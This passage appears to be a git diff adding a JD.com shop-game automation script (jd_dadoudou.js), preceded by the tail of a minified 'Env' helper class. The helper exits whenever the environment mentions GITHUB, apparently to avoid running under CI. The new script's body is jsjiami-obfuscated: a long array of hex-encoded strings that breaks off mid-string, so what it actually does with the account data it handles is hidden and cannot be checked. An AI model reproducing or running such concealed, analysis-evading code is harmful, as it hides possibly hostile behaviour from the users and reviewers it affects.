Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_dadoudou.js b/jd_dadoudou.js new file mode 100644 index 0000000..e2e50b4 --- /dev/null +++ b/jd_dadoudou.js @@ -0,0 +1,15 @@ +/* +活动名称:LZ店铺游戏 +活动链接:https://lzkj-isv.isvjcloud.com/wxgame/activity/entry.html?activityId=<活动id> +环境变量:WXGAME_ACT_ID // 活动id + +#LZ店铺游戏 +默认助力第一个号 +7 7 7 7 7 jd_dadoudou.js, tag=LZ店铺游戏, enabled=true +*/ + +var _0xod6='jsjiami.com.v6',_0xod6_=['‮_0xod6'],_0x1cd8=[_0xod6,'\x77\x35\x46\x4a\x66\x30\x63\x3d','\x77\x71\x66\x44\x6a\x38\x4b\x6b\x4e\x63\x4f\x67\x42\x63\x4b\x69\x77\x35\x6b\x3d','\x77\x36\x4d\x6a\x64\x63\x4b\x32\x77\x37\x4e\x4a\x50\x38\x4f\x39','\x77\x35\x48\x43\x76\x63\x4f\x53\x4c\x73\x4b\x36\x47\x38\x4f\x50\x43\x67\x3d\x3d','\x62\x45\x62\x44\x6f\x73\x4b\x52\x41\x41\x3d\x3d','\x4e\x56\x49\x59\x77\x34\x56\x32','\x77\x70\x6b\x66\x77\x70\x68\x34\x77\x35\x77\x3d','\x77\x36\x66\x43\x69\x52\x34\x4e\x54\x63\x4b\x2f\x50\x47\x30\x3d','\x77\x36\x6c\x47\x4a\x41\x59\x3d','\x77\x35\x59\x42\x77\x37\x33\x44\x6a\x44\x73\x65\x57\x38\x4f\x67','\x77\x36\x4c\x44\x6c\x38\x4b\x49\x41\x73\x4b\x35','\x77\x34\x6e\x43\x6b\x63\x4f\x4c\x77\x72\x38\x39','\x77\x34\x7a\x44\x6f\x63\x4b\x6b\x4c\x38\x4b\x33','\x77\x71\x6e\x44\x6a\x6e\x48\x44\x75\x79\x51\x3d','\x61\x47\x2f\x44\x6d\x57\x50\x44\x74\x67\x3d\x3d','\x53\x58\x37\x44\x67\x45\x6f\x35','\x4f\x6e\x30\x78\x77\x72\x58\x43\x6f\x67\x3d\x3d','\x77\x6f\x44\x44\x6e\x52\x62\x44\x75\x63\x4b\x56\x4f\x67\x3d\x3d','\x77\x37\x35\x58\x50\x41\x34\x32','\x77\x36\x4c\x44\x70\x63\x4b\x69\x45\x6d\x7a\x44\x6e\x4d\x4b\x76','\x4c\x46\x51\x4d\x62\x56\x30\x3d','\x55\x6e\x7a\x44\x6f\x58\x76\x44\x6b\x38\x4b\x6a','\x77\x71\x56\x63\x77\x37\x37\x44\x73\x38\x4b\x78','\x61\x38\x4b\x4d\x61\x38\x4f\x41\x46\x67\x3d\x3d','\x47\x4d\x4f\x49\x50\x31\x30\x3d','\x77\x6f\x39\x6c\x77\x35\x54\x44\x69\x73\x4b\x48','\x77\x72\x50\x44\x6e\x73\x4b\x71\x46\x4d\x4f\x50','\x77\x35\x33\x44\x71\x6c\x70\x61\x41\x41\x3d\x3d','\x4b\x31\x55\x55\x77\x37\x74\x31','\x77\x6f\x48\x44\x6f\x44\x7a\x44\x71\x63\x4b\x6d','\x77\x36\x77\x4a\x77\x37\x7a\x44\x6b\x44\x45\x3d','\x77\x70\x6e\x44\x68\x54\x54\x44\x6e\x67\x76\x44\x6a\x38\x4f\x42\x77\x71\x6b\x3d','\x63\x63\x4b\x34\x50\x73\x4f\x63\x4e\x56\x4c\x43\x6d\x4d\x4f\x37\x77\x36\x4c\x43\x6d\x73\x4f\x46','\x4e\x4d\x4f\x49\x49\x6b\x35\x4b','\x77\x37\x2f\x43\x72\x42\x48\x44\x6d\x73\x4f\x79\x46\x51\x3d\x3d','\x64\x47\x4c\x43\x68\x41\x3d\x3d','\x35\x4c\x32\x70\x35\x61\x57\x4e\x37\x37\x36\x6a','\x77\x34\x59\x42\x77\x37\x72\x44\x68\x67\x3d\x3d','\x77\x34\x77\x4a\x77\x36\x33\x44\x6a\x42\x6b\x57\x52\x63\x4f\x78','\x77\x35\x49\x4a\x77\x36\x41\x3d','\x77\x35\x76\x43\x74\x63\x4f\x46\x4a\x41\x3d\x3d','\x62\x58\x54\x43\x72\x53\x62\x44\x68\x38\x4f\x67\x53\x63\x4f\x49','\x4c\x45\x45\x44\x64\x6b\x77\x69\x64\x67\x4d\x70','\x59\x63\x4b\x32\x48\x38\x4f\x4e','\x55\x6d\x7a\x44\x6f\x48\x72\x44\x67\x73\x4b\x6c\x77\x36\x52\x77\x77\x35\x63\x3d','\x77\x72\x6a\x44\x71\x54\x62\x44\x6e\x38\x4b\x62','\x77\x70\x6e\x44\x76\x63\x4b\x44\x45\x73\x4f\x54','\x77\x72\x41\x78\x77\x72\x30\x3d','\x77\x36\x2f\x43\x67\x4d\x4f\x78\x77\x72\x45\x6d\x77\x6f\x4c\x43\x74\x73\x4b\x62\x77\x35\x7a\x44\x74\x73\x4b\x48\x4e\x67\x3d\x3d','\x77\x72\x50\x44\x74\x33\x50\x44\x68\x77\x6f\x3d','\x4d\x30\x73\x48','\x77\x37\x44\x43\x70\x4d\x4f\x77\x77\x70\x38\x31','\x77\x36\x50\x44\x71\x4d\x4b\x56\x4c\x38\x4b\x66','\x77\x34\x48\x43\x73\x42\x62\x44\x67\x73\x4f\x30','\x77\x37\x78\x2b\x77\x36\x51\x30\x77\x71\x72\x6b\x75\x72\x66\x6c\x69\x62\x66\x6c\x72\x62\x6e\x6d\x69\x59\x49\x3d','\x61\x38\x4b\x68\x4e\x41\x4c\x43\x6f\x41\x3d\x3d','\x77\x36\x4c\x44\x6d\x73\x4b\x44\x49\x63\x4b\x48','\x77\x71\x6a\x44\x68\x79\x58\x44\x6b\x7a\x30\x3d','\x77\x35\x6e\x43\x70\x63\x4b\x43\x77\x71\x2f\x43\x68\x51\x3d\x3d','\x55\x7a\x42\x4a\x52\x63\x4f\x37\x77\x36\x70\x67','\x56\x63\x4f\x7a\x77\x6f\x58\x43\x6f\x4d\x4b\x59\x61\x6a\x50\x43\x74\x38\x4f\x39\x63\x67\x3d\x3d','\x77\x6f\x58\x43\x74\x32\x66\x44\x6b\x4d\x4b\x56','\x77\x34\x62\x43\x69\x79\x44\x43\x76\x46\x45\x3d','\x61\x73\x4b\x51\x66\x73\x4f\x34\x41\x51\x3d\x3d','\x77\x71\x56\x43\x77\x35\x4c\x44\x6a\x4d\x4b\x34','\x77\x34\x38\x6a\x51\x38\x4b\x6e\x77\x34\x77\x3d','\x77\x37\x6e\x43\x70\x63\x4f\x4a\x77\x72\x59\x33','\x4f\x38\x4f\x6b\x4e\x30\x4c\x44\x68\x41\x3d\x3d','\x5a\x73\x4b\x51\x54\x38\x4b\x61\x50\x38\x4b\x50\x77\x34\x70\x70\x77\x36\x45\x4d\x47\x45\x70\x66','\x77\x71\x37\x43\x6c\x55\x72\x44\x6c\x67\x3d\x3d','\x51\x7a\x7a\x43\x6a\x63\x4b\x56\x77\x35\x4a\x69\x77\x6f\x35\x69\x50\x56\x64\x73\x77\x71\x37\x43\x6c\x69\x62\x43\x6a\x55\x4e\x79\x4b\x38\x4f\x70\x77\x70\x59\x77\x77\x35\x2f\x43\x6d\x63\x4b\x48\x77\x72\x33\x44\x75\x52\x41\x43\x44\x43\x7a\x44\x6c\x73\x4f\x2f\x55\x42\x33\x43\x6f\x38\x4f\x46\x77\x35\x55\x36\x77\x70\x76\x44\x6b\x79\x67\x69\x77\x36\x50\x43\x76\x67\x49\x75\x77\x70\x4e\x77\x77\x6f\x45\x64\x77\x35\x31\x57\x49\x48\x4a\x69\x77\x70\x35\x75\x59\x38\x4b\x7a\x42\x51\x52\x75\x77\x72\x58\x44\x71\x77\x35\x39\x77\x36\x4c\x43\x74\x56\x54\x44\x6b\x4d\x4b\x46\x77\x36\x39\x34\x77\x37\x74\x6a\x77\x71\x6a\x43\x71\x6e\x6a\x44\x67\x38\x4b\x56\x64\x4d\x4b\x6b\x77\x37\x38\x42\x50\x45\x51\x54\x57\x4d\x4b\x35\x77\x37\x35\x6a\x77\x71\x6c\x74\x66\x79\x44\x44\x72\x73\x4f\x70\x77\x71\x59\x61\x77\x35\x4c\x44\x67\x4d\x4f\x4f\x77\x35\x51\x48\x57\x79\x72\x44\x68\x6c\x78\x38\x43\x68\x6b\x50\x4d\x73\x4f\x2f\x77\x34\x77\x63\x44\x41\x37\x43\x67\x41\x4e\x37\x59\x33\x66\x44\x68\x44\x74\x48\x77\x6f\x62\x43\x6a\x44\x77\x76\x59\x63\x4f\x33\x54\x73\x4f\x63\x66\x51\x72\x43\x6f\x63\x4b\x65\x77\x34\x6b\x78\x77\x36\x70\x64\x77\x36\x76\x43\x6a\x63\x4b\x39\x77\x34\x76\x43\x72\x73\x4b\x6c\x77\x34\x34\x64\x4e\x57\x77\x5a\x47\x4d\x4b\x51\x77\x34\x62\x43\x75\x46\x6e\x43\x6a\x4d\x4f\x43','\x57\x4d\x4b\x64\x58\x52\x6c\x69','\x77\x70\x44\x44\x76\x31\x72\x44\x74\x6a\x34\x3d','\x77\x37\x2f\x43\x68\x77\x6f\x3d','\x35\x4c\x79\x54\x35\x61\x65\x51\x37\x37\x32\x4b','\x77\x36\x4e\x4f\x4d\x77\x77\x73\x44\x55\x73\x41','\x77\x70\x33\x44\x67\x77\x6b\x3d','\x59\x58\x37\x44\x75\x63\x4b\x74\x4e\x4d\x4b\x34\x4e\x73\x4b\x44','\x77\x35\x6a\x43\x73\x63\x4f\x46','\x77\x36\x41\x68\x63\x73\x4b\x36\x77\x34\x78\x4f\x4c\x63\x4f\x72\x77\x71\x74\x56\x77\x70\x4d\x3d','\x77\x35\x62\x43\x70\x38\x4f\x2f\x4b\x73\x4b\x77\x48\x77\x3d\x3d','\x77\x71\x37\x43\x6c\x55\x44\x44\x67\x73\x4b\x4e\x41\x73\x4f\x47\x77\x6f\x2f\x43\x71\x4d\x4b\x77\x77\x70\x72\x44\x67\x4d\x4b\x53','\x58\x6d\x44\x44\x6d\x51\x3d\x3d','\x77\x34\x51\x71\x77\x6f\x37\x43\x6d\x38\x4f\x44\x77\x34\x2f\x43\x6d\x63\x4f\x35\x77\x34\x77\x71\x77\x72\x58\x44\x6c\x6d\x73\x3d','\x57\x31\x37\x44\x70\x38\x4f\x34\x58\x41\x3d\x3d','\x59\x6e\x62\x44\x67\x38\x4f\x74\x57\x41\x3d\x3d','\x54\x63\x4b\x76\x51\x73\x4f\x37\x50\x63\x4b\x46\x77\x70\x74\x6b\x77\x36\x76\x44\x68\x41\x3d\x3d','\x49\x38\x4f\x4d\x4a\x46\x6c\x4f\x77\x70\x33\x44\x73\x77\x3d\x3d','\x54\x52\x58\x44\x67\x4d\x4f\x62\x77\x36\x49\x3d','\x77\x37\x33\x43\x68\x73\x4b\x6b\x77\x72\x7a\x43\x73\x63\x4f\x6d\x58\x41\x3d\x3d','\x77\x70\x42\x48\x77\x35\x54\x44\x76\x38\x4b\x50','\x77\x37\x6a\x43\x75\x56\x48\x43\x6a\x52\x38\x3d','\x77\x71\x2f\x44\x6d\x54\x62\x44\x72\x69\x41\x3d','\x77\x37\x7a\x44\x6b\x73\x4b\x2b\x4f\x58\x4d\x3d','\x77\x37\x7a\x44\x76\x63\x4b\x30\x4d\x45\x59\x3d','\x77\x6f\x66\x43\x68\x6b\x37\x44\x72\x63\x4b\x7a','\x77\x36\x50\x44\x72\x63\x4b\x4c','\x35\x36\x75\x30\x35\x72\x47\x36\x38\x59\x75\x42\x70\x67\x3d\x3d','\x77\x71\x58\x44\x70\x63\x4b\x35\x43\x63\x4f\x4f','\x77\x34\x6f\x55\x77\x37\x6a\x44\x74\x54\x67\x3d','\x77\x35\x34\x33\x77\x71\x6c\x59\x48\x51\x3d\x3d','\x53\x43\x33\x44\x73\x63\x4f\x67\x77\x37\x55\x3d','\x77\x36\x6a\x43\x6c\x38\x4f\x2b\x41\x38\x4b\x44','\x77\x6f\x73\x64\x77\x70\x56\x4d\x77\x35\x30\x3d','\x77\x6f\x48\x44\x68\x51\x44\x44\x72\x77\x76\x44\x6c\x41\x3d\x3d','\x61\x63\x4b\x34\x44\x41\x3d\x3d','\x77\x70\x37\x44\x6e\x30\x66\x44\x6b\x6a\x6f\x3d','\x77\x36\x68\x56\x4f\x69\x77\x72','\x54\x47\x72\x43\x6a\x42\x2f\x44\x75\x51\x3d\x3d','\x54\x41\x5a\x79\x55\x38\x4f\x30','\x77\x35\x66\x43\x6e\x6a\x54\x44\x68\x38\x4f\x58','\x52\x73\x4f\x79\x77\x37\x58\x44\x71\x6c\x63\x3d','\x65\x67\x50\x44\x76\x63\x4f\x42\x77\x34\x6f\x3d','\x77\x70\x62\x44\x6d\x68\x37\x44\x67\x63\x4b\x49','\x52\x6b\x66\x44\x72\x63\x4f\x75\x5a\x51\x3d\x3d','\x56\x38\x4b\x5a\x56\x4d\x4f\x72\x44\x67\x3d\x3d','\x63\x67\x54\x44\x6b\x4d\x4f\x6d\x77\x37\x6b\x3d','\x52\x46\x58\x43\x75\x4d\x4b\x4d\x77\x6f\x45\x3d','\x51\x63\x4f\x4f\x77\x34\x50\x44\x76\x57\x6f\x58','\x35\x4c\x36\x45\x35\x61\x61\x73\x37\x37\x79\x54','\x4a\x4d\x4f\x57\x43\x38\x4b\x47','\x77\x36\x41\x48\x77\x72\x4c\x43\x70\x63\x4f\x2b\x77\x36\x76\x43\x70\x73\x4f\x44','\x77\x37\x2f\x44\x71\x38\x4b\x43','\x62\x56\x48\x44\x6d\x38\x4f\x64','\x77\x70\x33\x44\x67\x52\x66\x44\x6f\x63\x4b\x50\x4b\x58\x7a\x44\x68\x51\x3d\x3d','\x57\x6a\x33\x43\x6a\x38\x4b\x58\x77\x34\x63\x74\x77\x72\x64\x62\x4f\x77\x3d\x3d','\x58\x4d\x4b\x56\x45\x42\x6e\x43\x74\x43\x2f\x43\x6b\x7a\x6b\x4b\x77\x37\x73\x34\x77\x35\x41\x3d','\x64\x73\x4b\x6e\x42\x38\x4f\x46\x4d\x51\x3d\x3d','\x77\x34\x5a\x64\x61\x56\x58\x43\x73\x67\x51\x3d','\x61\x33\x33\x43\x6a\x78\x77\x75','\x77\x6f\x44\x44\x6d\x42\x6a\x44\x6f\x38\x4b\x56','\x77\x34\x55\x32\x77\x72\x31\x35\x4a\x73\x4b\x49','\x53\x46\x2f\x44\x67\x73\x4f\x2b\x51\x77\x3d\x3d','\x77\x72\x55\x77\x77\x72\x35\x76\x77\x37\x49\x44\x77\x72\x41\x3d','\x77\x36\x6f\x6e\x66\x38\x4b\x67','\x77\x70\x2f\x44\x70\x32\x66\x44\x71\x53\x55\x3d','\x4e\x30\x49\x53\x77\x6f\x62\x43\x71\x77\x3d\x3d','\x77\x35\x37\x43\x75\x73\x4b\x70\x77\x6f\x44\x43\x69\x41\x3d\x3d','\x77\x72\x48\x44\x6b\x38\x4b\x75\x4c\x4d\x4f\x41\x44\x67\x3d\x3d','\x77\x36\x62\x43\x6e\x63\x4f\x6b','\x58\x6e\x7a\x44\x6e\x57\x38\x53\x61\x79\x44\x44\x6d\x4d\x4f\x33\x51\x54\x48\x43\x67\x41\x3d\x3d','\x53\x73\x4f\x35\x77\x70\x59\x3d','\x77\x34\x6a\x43\x6d\x38\x4f\x6b\x42\x38\x4b\x73','\x77\x36\x6e\x43\x6e\x38\x4f\x50\x77\x6f\x30\x73','\x42\x58\x59\x6c\x77\x35\x56\x70','\x77\x71\x42\x2b\x77\x36\x48\x44\x6b\x4d\x4b\x35','\x65\x38\x4b\x53\x77\x34\x67\x3d','\x5a\x6d\x2f\x43\x76\x43\x4c\x44\x6d\x38\x4f\x4d\x51\x63\x4f\x65\x49\x38\x4f\x62\x77\x34\x6e\x44\x6f\x51\x3d\x3d','\x77\x35\x4a\x35\x52\x6d\x50\x43\x67\x51\x3d\x3d','\x77\x35\x37\x43\x71\x43\x72\x44\x72\x4d\x4f\x4b','\x77\x35\x6b\x50\x52\x4d\x4b\x78\x77\x35\x45\x3d','\x35\x4c\x75\x73\x35\x4c\x71\x72\x36\x4c\x36\x72\x35\x5a\x69\x35\x35\x4c\x6d\x54\x35\x36\x6d\x43\x35\x70\x61\x76\x35\x6f\x2b\x6f','\x77\x37\x72\x44\x69\x38\x4b\x6c\x77\x34\x63\x41','\x45\x73\x4f\x7a\x4a\x55\x70\x61','\x77\x37\x31\x4f\x50\x69\x34\x76\x43\x77\x3d\x3d','\x47\x32\x38\x66\x77\x71\x37\x43\x67\x45\x66\x43\x67\x63\x4f\x44\x77\x6f\x66\x43\x6d\x38\x4b\x6b\x61\x73\x4f\x78\x64\x4d\x4f\x63\x62\x38\x4b\x2f\x54\x51\x58\x43\x6b\x33\x74\x37\x41\x63\x4b\x65\x50\x73\x4f\x45\x77\x35\x6e\x43\x6e\x63\x4b\x47\x77\x71\x44\x44\x69\x4d\x4b\x75\x4f\x48\x48\x44\x6d\x63\x4b\x37\x44\x73\x4f\x47\x77\x35\x33\x43\x72\x6c\x73\x62\x53\x31\x49\x44\x48\x4d\x4b\x73\x77\x71\x44\x44\x67\x68\x4e\x2b\x77\x37\x72\x44\x68\x51\x73\x2b\x77\x70\x4c\x44\x6c\x53\x6f\x75\x77\x70\x44\x44\x6a\x31\x50\x44\x72\x6e\x76\x43\x70\x54\x4e\x2b\x77\x36\x45\x73\x77\x71\x39\x76\x77\x37\x30\x48\x77\x72\x6c\x4c\x65\x77\x54\x44\x71\x31\x50\x44\x71\x38\x4f\x66\x58\x63\x4f\x79\x77\x70\x54\x44\x76\x77\x45\x4c\x51\x7a\x39\x33\x42\x38\x4f\x45\x77\x35\x49\x54\x77\x6f\x76\x43\x6e\x33\x6f\x53\x44\x4d\x4b\x52','\x77\x72\x7a\x44\x6c\x63\x4b\x69\x4c\x4d\x4f\x48\x43\x73\x4b\x70\x77\x35\x4d\x3d','\x35\x70\x79\x52\x36\x49\x4b\x6f\x35\x6f\x69\x34\x35\x59\x71\x2b\x36\x49\x79\x70\x35\x59\x32\x4f\x35\x59\x69\x6a\x35\x72\x65\x41\x35\x59\x69\x7a\x35\x4c\x36\x61\x35\x6f\x47\x36','\x77\x36\x62\x43\x6a\x77\x37\x44\x6c\x48\x37\x44\x74\x6d\x42\x53\x77\x71\x6b\x78\x46\x73\x4f\x34','\x57\x4d\x4b\x6e\x64\x79\x56\x36\x77\x35\x70\x46\x77\x72\x56\x75\x77\x71\x56\x44\x77\x36\x30\x6b\x64\x4d\x4f\x73\x64\x73\x4f\x6b\x62\x38\x4f\x33\x48\x56\x66\x43\x74\x33\x48\x43\x6c\x44\x30\x6a\x48\x73\x4b\x65\x77\x34\x41\x72\x77\x35\x67\x44\x57\x41\x3d\x3d','\x4b\x7a\x7a\x43\x72\x41\x3d\x3d','\x77\x36\x5a\x43\x4e\x52\x64\x76\x44\x55\x6f\x4d\x77\x36\x37\x44\x68\x41\x3d\x3d','\x4f\x56\x39\x66\x77\x72\x66\x43\x6f\x78\x58\x44\x67\x63\x4b\x43\x77\x6f\x76\x44\x6d\x63\x4f\x79\x62\x63\x4f\x32\x62\x4d\x4f\x61\x61\x63\x4b\x76\x42\x78\x6e\x43\x75\x6e\x70\x35\x43\x4d\x4f\x56\x5a\x73\x4b\x4c\x77\x35\x33\x44\x76\x63\x4b\x38\x77\x36\x33\x43\x6e\x73\x4f\x6e\x65\x53\x6a\x43\x68\x38\x4b\x30\x4e\x38\x4f\x44\x77\x34\x2f\x44\x72\x55\x6f\x46\x56\x30\x73\x44\x48\x73\x4b\x31','\x77\x70\x68\x59\x77\x70\x33\x44\x6a\x73\x4b\x42\x57\x63\x4f\x78\x77\x34\x76\x44\x6b\x6c\x67\x31\x58\x4d\x4f\x75\x77\x34\x73\x3d','\x56\x4d\x4f\x52\x77\x35\x6e\x44\x75\x43\x70\x44\x77\x6f\x66\x44\x6b\x32\x54\x44\x6f\x54\x6e\x43\x71\x38\x4b\x32\x77\x35\x76\x43\x6e\x38\x4b\x59\x61\x77\x3d\x3d','\x4b\x4d\x4f\x44\x43\x38\x4b\x58\x77\x71\x59\x43\x77\x37\x44\x43\x71\x55\x6f\x42\x43\x38\x4b\x6b\x54\x51\x4c\x44\x6c\x44\x67\x56\x77\x34\x4a\x5a\x77\x70\x76\x44\x69\x6e\x4c\x43\x6a\x52\x46\x55\x77\x6f\x50\x43\x74\x73\x4b\x6e\x77\x72\x4e\x41\x77\x34\x5a\x6e\x77\x36\x72\x43\x70\x73\x4b\x62\x77\x34\x5a\x53\x65\x57\x54\x43\x74\x6d\x46\x5a\x77\x35\x67\x38\x45\x55\x74\x6b\x42\x77\x39\x4b\x51\x6b\x45\x6c\x58\x38\x4b\x6f\x4a\x7a\x76\x44\x75\x33\x4d\x3d','\x77\x37\x50\x43\x74\x63\x4f\x47\x77\x72\x30\x79','\x77\x35\x72\x44\x69\x4d\x4b\x63\x4e\x4d\x4b\x6f','\x77\x70\x7a\x44\x6b\x4d\x4b\x6e\x50\x63\x4f\x6e','\x49\x4d\x4f\x4f\x43\x48\x54\x44\x6a\x77\x3d\x3d','\x63\x78\x4c\x43\x6e\x73\x4b\x77\x77\x36\x63\x3d','\x77\x36\x7a\x44\x6d\x57\x46\x75\x43\x41\x3d\x3d','\x77\x36\x59\x34\x66\x4d\x4b\x55\x77\x37\x45\x3d','\x62\x58\x6a\x44\x76\x73\x4b\x2f\x5a\x38\x4f\x38\x62\x4d\x4b\x6b\x5a\x6a\x72\x44\x6e\x38\x4f\x52\x77\x35\x62\x43\x6f\x63\x4b\x65\x77\x71\x6e\x44\x68\